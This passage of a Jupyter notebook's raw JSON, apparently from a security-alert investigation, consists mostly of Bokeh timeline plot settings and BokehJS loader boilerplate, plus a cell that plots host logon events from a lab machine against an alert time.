"}},\"id\":\"631c5adb-1cbe-4122-81ee-2ba87df88c87\",\"type\":\"Circle\"},{\"attributes\":{\"line_alpha\":0.1,\"line_color\":\"#1f77b4\",\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"cb646871-b3ef-410f-8b5b-61b7c1b9febb\",\"type\":\"Line\"},{\"attributes\":{\"data_source\":{\"id\":\"a09c77f1-72ec-4ddb-8dd0-739f7e8dc0fc\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"192d8a7d-509b-47d2-a549-71ab92667787\",\"type\":\"Circle\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"631c5adb-1cbe-4122-81ee-2ba87df88c87\",\"type\":\"Circle\"},\"selection_glyph\":null,\"view\":{\"id\":\"b350e006-a9cd-47fa-9cfe-224c9ef3d353\",\"type\":\"CDSView\"}},\"id\":\"255c3bf2-0f49-4f5f-8ed2-12ea7b3d5237\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"ad70e5e3-66ee-40ce-b3ce-be7365e51c8a\",\"type\":\"DaysTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"192d8a7d-509b-47d2-a549-71ab92667787\",\"type\":\"Circle\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"683b7c35-8805-406e-a7c5-6545c03863e5\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"36cb7b7c-235d-4230-a7be-28fd9c2acd0f\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"dimension\":1,\"plot\":{\"id\":\"bfc85e9c-5ecd-4124-8edd-f24dee336624\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"f72b2ab6-97c3-46f5-840e-d6b4ccc55c7f\",\"type\":\"BasicTicker\"}},\"id\":\"b4f09a37-830d-4fa5-9a6f-fb03c5ec36f8\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"73cb65ca-3ce1-41bc-bf95-8aef04092402\",\"type\":\"ResetTool\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"5315195d-ade9-4374-aef4-a3c9043195a1\",\"type\":\"HoverTool\"},{\"id\":\"e0ea5ef2-f45d-4ff5-8e89-8e1982a767de\",\"type\":\"PanTool\"},{\"id\":\"0a494196-237c-46af-9888-728eb7da84be\",\"type\":\"WheelZoomTool\"},{\"id\":\"99a2e9aa-8a70-45ee-ba96-7955e75514d6\",\"type\":\"BoxZoomTool\"},{\"id\":\"73cb65ca-3ce1-41bc-bf95-8aef04092402\",\"type\":\"ResetTool\"}]},\"id\":\"769d6ea0-b272-45f7-a503-2be44fdaba8d\",\"type\":\"Toolbar\"},{\"attributes\":{},\"id\":\"4e65064e-e2fc-445e-a28a-0976ec262f2a\",\"type\":\"Selection\"},{\"attributes\":{\"plot\":null,\"text\":\"Timeline All Host Logons\"},\"id\":\"1885424e-9e19-4aa4-8bd5-0f542fb99257\",\"type\":\"Title\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"15545fc2-dab6-4f20-ab50-c569f2d2b2d0\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"218c4848-7412-467b-b4c2-e0ee7d6b1844\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"fd81d16c-a306-4849-abd5-b22164dcfd3c\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"source\":{\"id\":\"a09c77f1-72ec-4ddb-8dd0-739f7e8dc0fc\",\"type\":\"ColumnDataSource\"}},\"id\":\"b350e006-a9cd-47fa-9cfe-224c9ef3d353\",\"type\":\"CDSView\"},{\"attributes\":{\"line_color\":\"#1f77b4\",\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"f0f6d7f8-124f-4bbb-aed8-bae400f10564\",\"type\":\"Line\"},{\"attributes\":{\"callback\":null,\"data\":{\"Account\":[\"MSTICAlertsWin1\\\\MSTICAdmin\",\"NT AUTHORITY\\\\SYSTEM\",\"MSTICAlertsWin1\\\\adm1nistrator\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\"],\"LogonType\":[4,5,3,5,5,4,5,5,5,5,5,5,5,5],\"TimeGenerated\":{\"__ndarray__\":\"AEA88/6EdkIAcJvz/oR2QgCwD/T+hHZCANAl9f6EdkIAUAn2/oR2QgAgHEr8hHZCABCzePiEdkIAUEV5+IR2QgAQTWn2hHZCAPDeafaEdkIAQE/J8oR2QgCgGfTyhHZCAJDayPeEdkIAsG3J94R2Qg==\",\"dtype\":\"float64\",\"shape\":[14]},\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13],\"y_index\":[2,2,2,2,2,2,2,2,2,2,2,2,2,2]},\"selected\":{\"id\":\"4e65064e-e2fc-445e-a28a-0976ec262f2a\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"3195eaeb-3459-4648-968d-412badaa8f3a\",\"type\":\"UnionRenderers\"}},\"id\":\"a09c77f1-72ec-4ddb-8dd0-739f7e8dc0fc\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"background_fill_color\":{\"value\":\"white\"},\"border_line_color\":{\"value\":\"red\"},\"plot\":{\"id\":\"bfc85e9c-5ecd-4124-8edd-f24dee336624\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"render_mode\":\"css\",\"text\":\"< Alert time\",\"x\":1547529315000.0,\"y\":0,\"y_offset\":10},\"id\":\"d40d46b8-b67c-453d-beb5-a8c33574b201\",\"type\":\"Label\"},{\"attributes\":{\"data_source\":{\"id\":\"b977f490-a055-4b9c-8944-6f479d42970c\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"f0f6d7f8-124f-4bbb-aed8-bae400f10564\",\"type\":\"Line\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"cb646871-b3ef-410f-8b5b-61b7c1b9febb\",\"type\":\"Line\"},\"selection_glyph\":null,\"view\":{\"id\":\"11b26313-ee79-447b-8ab9-d891b2d0a91a\",\"type\":\"CDSView\"}},\"id\":\"8d28dd36-55e2-4dcc-8710-f34bf5bd7abc\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"4ef18e20-9633-438c-b280-938caf568344\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"48a26032-010e-4db4-b370-642b53923fdc\",\"type\":\"DaysTicker\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"Tooltip\":\"printf\"},\"renderers\":\"auto\",\"tooltips\":[[\"Account\",\"@Account\"],[\"LogonType\",\"@LogonType\"]]},\"id\":\"5315195d-ade9-4374-aef4-a3c9043195a1\",\"type\":\"HoverTool\"},{\"attributes\":{\"formatter\":{\"id\":\"fd81d16c-a306-4849-abd5-b22164dcfd3c\",\"type\":\"BasicTickFormatter\"},\"plot\":{\"id\":\"bfc85e9c-5ecd-4124-8edd-f24dee336624\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"f72b2ab6-97c3-46f5-840e-d6b4ccc55c7f\",\"type\":\"BasicTicker\"},\"visible\":false},\"id\":\"bc6512e6-5ecf-405c-92d1-1d7948edd1d2\",\"type\":\"LinearAxis\"},{\"attributes\":{\"source\":{\"id\":\"b977f490-a055-4b9c-8944-6f479d42970c\",\"type\":\"ColumnDataSource\"}},\"id\":\"11b26313-ee79-447b-8ab9-d891b2d0a91a\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2266c565-15fd-43d5-ac57-cec5d7bfb3a4\",\"type\":\"Circle\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"lightgrey\"},\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":{\"value\":1.0},\"line_color\":{\"value\":\"black\"},\"line_dash\":[4,4],\"line_width\":{\"value\":2},\"plot\":null,\"render_mode\":\"css\",\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"10dea424-9f30-48b9-a78e-4b3584a3ab5f\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"15545fc2-dab6-4f20-ab50-c569f2d2b2d0\",\"type\":\"AdaptiveTicker\"},{\"id\":\"c176efed-a07a-4b52-8190-54c4a13b8369\",\"type\":\"AdaptiveTicker\"},{\"id\":\"7f4c373d-74c1-47d6-b591-71fb31ac247b\",\"type\":\"AdaptiveTicker\"},{\"id\":\"48a26032-010e-4db4-b370-642b53923fdc\",\"type\":\"DaysTicker\"},{\"id\":\"c3f04994-b52a-4e12-ae84-dee053c05273\",\"type\":\"DaysTicker\"},{\"id\":\"683b7c35-8805-406e-a7c5-6545c03863e5\",\"type\":\"DaysTicker\"},{\"id\":\"ad70e5e3-66ee-40ce-b3ce-be7365e51c8a\",\"type\":\"DaysTicker\"},{\"id\":\"279ae439-008e-473d-a54e-19d9cebfabba\",\"type\":\"MonthsTicker\"},{\"id\":\"218c4848-7412-467b-b4c2-e0ee7d6b1844\",\"type\":\"MonthsTicker\"},{\"id\":\"74319618-d648-4f59-b3d4-057191e3540c\",\"type\":\"MonthsTicker\"},{\"id\":\"ab1ea683-e6c4-4a76-96b7-ce6b19e65eb5\",\"type\":\"MonthsTicker\"},{\"id\":\"506582cf-0cc1-49cb-a682-3b28ca86377b\",\"type\":\"YearsTicker\"}]},\"id\":\"ba3a6a12-825e-4c53-9188-806fb2aac550\",\"type\":\"DatetimeTicker\"},{\"attributes\":{},\"id\":\"506582cf-0cc1-49cb-a682-3b28ca86377b\",\"type\":\"YearsTicker\"},{\"attributes\":{\"data_source\":{\"id\":\"ddd91ddd-254b-48fd-9446-ba50f0ec899e\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"3c5487cf-e81e-4873-9824-efec57cdae7c\",\"type\":\"Circle\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"2266c565-15fd-43d5-ac57-cec5d7bfb3a4\",\"type\":\"Circle\"},\"selection_glyph\":null,\"view\":{\"id\":\"61088cca-bcfc-4594-a397-8bcf63f518c1\",\"type\":\"CDSView\"}},\"id\":\"230e0895-0d30-49ef-8321-3bc6b1790fbb\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"7f4c373d-74c1-47d6-b591-71fb31ac247b\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"f24c88aa-5117-4cdb-a6d0-e6a5ff686d9f\",\"type\":\"Selection\"},{\"attributes\":{},\"id\":\"bf5d559b-76e0-481a-a4c2-e47d43699258\",\"type\":\"Selection\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"ab1ea683-e6c4-4a76-96b7-ce6b19e65eb5\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"74319618-d648-4f59-b3d4-057191e3540c\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"0a2c595f-3754-4dd3-8e42-17d1288e0db1\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"callback\":null,\"data\":{\"Account\":[\"MSTICAlertsWin1\\\\adm1nistrator\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"NT AUTHORITY\\\\SYSTEM\"],\"LogonType\":[3,4,5],\"TimeGenerated\":{\"__ndarray__\":\"ALAP9P6EdkIAQDzz/oR2QgBwm/P+hHZC\",\"dtype\":\"float64\",\"shape\":[3]},\"index\":[2,0,1],\"y_index\":[1,1,1]},\"selected\":{\"id\":\"f24c88aa-5117-4cdb-a6d0-e6a5ff686d9f\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"0a2c595f-3754-4dd3-8e42-17d1288e0db1\",\"type\":\"UnionRenderers\"}},\"id\":\"ddd91ddd-254b-48fd-9446-ba50f0ec899e\",\"type\":\"ColumnDataSource\"}],\"root_ids\":[\"bfc85e9c-5ecd-4124-8edd-f24dee336624\"]},\"title\":\"Bokeh Application\",\"version\":\"0.12.16\"}};\n", " var render_items = [{\"docid\":\"c5b57978-c446-413d-8ffe-c34d88a59d32\",\"elementid\":\"51c79006-7908-40e6-b0aa-6ba61d3705b2\",\"modelid\":\"bfc85e9c-5ecd-4124-8edd-f24dee336624\"}];\n", " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", "\n", " }\n", " if (root.Bokeh !== undefined) {\n", " embed_document(root);\n", " } else {\n", " var attempts = 0;\n", " var timer = setInterval(function(root) {\n", " if (root.Bokeh !== undefined) {\n", " embed_document(root);\n", " clearInterval(timer);\n", " }\n", " attempts++;\n", " if (attempts > 100) {\n", " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\")\n", " clearInterval(timer);\n", " }\n", " }, 10, root)\n", " }\n", "})(window);" ], "application/vnd.bokehjs_exec.v0+json": "" }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { "id": "bfc85e9c-5ecd-4124-8edd-f24dee336624" } }, "output_type": "display_data" } ], "source": [ "# Show timeline of events - all logons + clustered logons\n", "nbdisp.display_timeline(data=host_logons, overlay_data=clus_logons,\n", " alert=security_alert, \n", " source_columns=['Account', 'LogonType'],\n", " title='All Host Logons')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### View Process Session and Logon Events in Timelines\n", "This shows the timeline of the clustered logon events with the process tree obtained earlier. This allows you to get a sense of which logon was responsible for the process tree session whether any additional logons (e.g. creating a process as another user) might be associated with the alert timeline.\n", "\n", "*Note you should use the pan and zoom tools to align the timelines since the data may be over different time ranges.*" ] }, { "cell_type": "code", "execution_count": 64, "metadata": {}, "outputs": [ { "data": { "text/html": [ "\n", "
\n", " \n", " Loading BokehJS ...\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "\n", "(function(root) {\n", " function now() {\n", " return new Date();\n", " }\n", "\n", " var force = true;\n", "\n", " if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n", " root._bokeh_onload_callbacks = [];\n", " root._bokeh_is_loading = undefined;\n", " }\n", "\n", " var JS_MIME_TYPE = 'application/javascript';\n", " var HTML_MIME_TYPE = 'text/html';\n", " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", " var CLASS_NAME = 'output_bokeh rendered_html';\n", "\n", " /**\n", " * Render data to the DOM node\n", " */\n", " function render(props, node) {\n", " var script = document.createElement(\"script\");\n", " node.appendChild(script);\n", " }\n", "\n", " /**\n", " * Handle when an output is cleared or removed\n", " */\n", " function handleClearOutput(event, handle) {\n", " var cell = handle.cell;\n", "\n", " var id = cell.output_area._bokeh_element_id;\n", " var server_id = cell.output_area._bokeh_server_id;\n", " // Clean up Bokeh references\n", " if (id !== undefined) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", "\n", " if (server_id !== undefined) {\n", " // Clean up Bokeh references\n", " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", " cell.notebook.kernel.execute(cmd, {\n", " iopub: {\n", " output: function(msg) {\n", " var element_id = msg.content.text.trim();\n", " Bokeh.index[element_id].model.document.clear();\n", " delete Bokeh.index[element_id];\n", " }\n", " }\n", " });\n", " // Destroy server and session\n", " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", " cell.notebook.kernel.execute(cmd);\n", " }\n", " }\n", "\n", " /**\n", " * Handle when a new output is added\n", " */\n", " function handleAddOutput(event, handle) {\n", " var output_area = handle.output_area;\n", " var output = handle.output;\n", "\n", " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", " return\n", " }\n", "\n", " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", "\n", " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", " // store reference to embed id on output_area\n", " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", " }\n", " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", " var bk_div = document.createElement(\"div\");\n", " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", " var script_attrs = bk_div.children[0].attributes;\n", " for (var i = 0; i < script_attrs.length; i++) {\n", " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", " }\n", " // store reference to server id on output_area\n", " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", " }\n", " }\n", "\n", " function register_renderer(events, OutputArea) {\n", "\n", " function append_mime(data, metadata, element) {\n", " // create a DOM node to render to\n", " var toinsert = this.create_output_subarea(\n", " metadata,\n", " CLASS_NAME,\n", " EXEC_MIME_TYPE\n", " );\n", " this.keyboard_manager.register_events(toinsert);\n", " // Render to node\n", " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", " render(props, toinsert[toinsert.length - 1]);\n", " element.append(toinsert);\n", " return toinsert\n", " }\n", "\n", " /* Handle when an output is cleared or removed */\n", " events.on('clear_output.CodeCell', handleClearOutput);\n", " events.on('delete.Cell', handleClearOutput);\n", "\n", " /* Handle when a new output is added */\n", " events.on('output_added.OutputArea', handleAddOutput);\n", "\n", " /**\n", " * Register the mime type and append_mime function with output_area\n", " */\n", " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", " /* Is output safe? */\n", " safe: true,\n", " /* Index of renderer in `output_area.display_order` */\n", " index: 0\n", " });\n", " }\n", "\n", " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", " if (root.Jupyter !== undefined) {\n", " var events = require('base/js/events');\n", " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", "\n", " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", " register_renderer(events, OutputArea);\n", " }\n", " }\n", "\n", " \n", " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", " root._bokeh_timeout = Date.now() + 5000;\n", " root._bokeh_failed_load = false;\n", " }\n", "\n", " var NB_LOAD_WARNING = {'data': {'text/html':\n", " \"
\\n\"+\n", " \"

\\n\"+\n", " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", " \"

\\n\"+\n", " \"
    \\n\"+\n", " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
  • \\n\"+\n", " \"
  • use INLINE resources instead, as so:
  • \\n\"+\n", " \"
\\n\"+\n", " \"\\n\"+\n", " \"from bokeh.resources import INLINE\\n\"+\n", " \"output_notebook(resources=INLINE)\\n\"+\n", " \"\\n\"+\n", " \"
\"}};\n", "\n", " function display_loaded() {\n", " var el = document.getElementById(\"989e8665-5667-46c0-b1c0-31d96b4ce412\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", " if (root.Bokeh !== undefined) {\n", " if (el != null) {\n", " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", " }\n", " } else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(display_loaded, 100)\n", " }\n", " }\n", "\n", "\n", " function run_callbacks() {\n", " try {\n", " root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n", " }\n", " finally {\n", " delete root._bokeh_onload_callbacks\n", " }\n", " console.info(\"Bokeh: all callbacks have finished\");\n", " }\n", "\n", " function load_libs(js_urls, callback) {\n", " root._bokeh_onload_callbacks.push(callback);\n", " if (root._bokeh_is_loading > 0) {\n", " console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", " return null;\n", " }\n", " if (js_urls == null || js_urls.length === 0) {\n", " run_callbacks();\n", " return null;\n", " }\n", " console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", " root._bokeh_is_loading = js_urls.length;\n", " for (var i = 0; i < js_urls.length; i++) {\n", " var url = js_urls[i];\n", " var s = document.createElement('script');\n", " s.src = url;\n", " s.async = false;\n", " s.onreadystatechange = s.onload = function() {\n", " root._bokeh_is_loading--;\n", " if (root._bokeh_is_loading === 0) {\n", " console.log(\"Bokeh: all BokehJS libraries loaded\");\n", " run_callbacks()\n", " }\n", " };\n", " s.onerror = function() {\n", " console.warn(\"failed to load library \" + url);\n", " };\n", " console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", " document.getElementsByTagName(\"head\")[0].appendChild(s);\n", " }\n", " };var element = document.getElementById(\"989e8665-5667-46c0-b1c0-31d96b4ce412\");\n", " if (element == null) {\n", " console.log(\"Bokeh: ERROR: autoload.js configured with elementid '989e8665-5667-46c0-b1c0-31d96b4ce412' but no matching script tag was found. \")\n", " return false;\n", " }\n", "\n", " var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-0.12.16.min.js\"];\n", "\n", " var inline_js = [\n", " function(Bokeh) {\n", " Bokeh.set_log_level(\"info\");\n", " },\n", " \n", " function(Bokeh) {\n", " \n", " },\n", " function(Bokeh) {\n", " console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n", " Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n", " console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n", " Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n", " console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n", " Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n", " }\n", " ];\n", "\n", " function run_inline_js() {\n", " \n", " if ((root.Bokeh !== undefined) || (force === true)) {\n", " for (var i = 0; i < inline_js.length; i++) {\n", " inline_js[i].call(root, root.Bokeh);\n", " }if (force === true) {\n", " display_loaded();\n", " }} else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(run_inline_js, 100);\n", " } else if (!root._bokeh_failed_load) {\n", " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force !== true) {\n", " var cell = $(document.getElementById(\"989e8665-5667-46c0-b1c0-31d96b4ce412\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " }\n", "\n", " }\n", "\n", " if (root._bokeh_is_loading === 0) {\n", " console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", " run_inline_js();\n", " } else {\n", " load_libs(js_urls, function() {\n", " console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n", " run_inline_js();\n", " });\n", " }\n", "}(window));" ], "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
  • \\n\"+\n \"
  • use INLINE resources instead, as so:
  • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"989e8665-5667-46c0-b1c0-31d96b4ce412\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n }\n finally {\n delete root._bokeh_onload_callbacks\n }\n console.info(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(js_urls, callback) {\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = js_urls.length;\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var s = document.createElement('script');\n s.src = url;\n s.async = false;\n s.onreadystatechange = s.onload = function() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.log(\"Bokeh: all BokehJS libraries loaded\");\n run_callbacks()\n }\n };\n s.onerror = function() {\n console.warn(\"failed to load library \" + url);\n };\n console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.getElementsByTagName(\"head\")[0].appendChild(s);\n }\n };var element = document.getElementById(\"989e8665-5667-46c0-b1c0-31d96b4ce412\");\n if (element == null) {\n console.log(\"Bokeh: ERROR: autoload.js configured with elementid '989e8665-5667-46c0-b1c0-31d96b4ce412' but no matching script tag was found. \")\n return false;\n }\n\n var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-0.12.16.min.js\"];\n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n \n function(Bokeh) {\n \n },\n function(Bokeh) {\n console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n }\n ];\n\n function run_inline_js() {\n \n if ((root.Bokeh !== undefined) || (force === true)) {\n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"989e8665-5667-46c0-b1c0-31d96b4ce412\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(js_urls, function() {\n 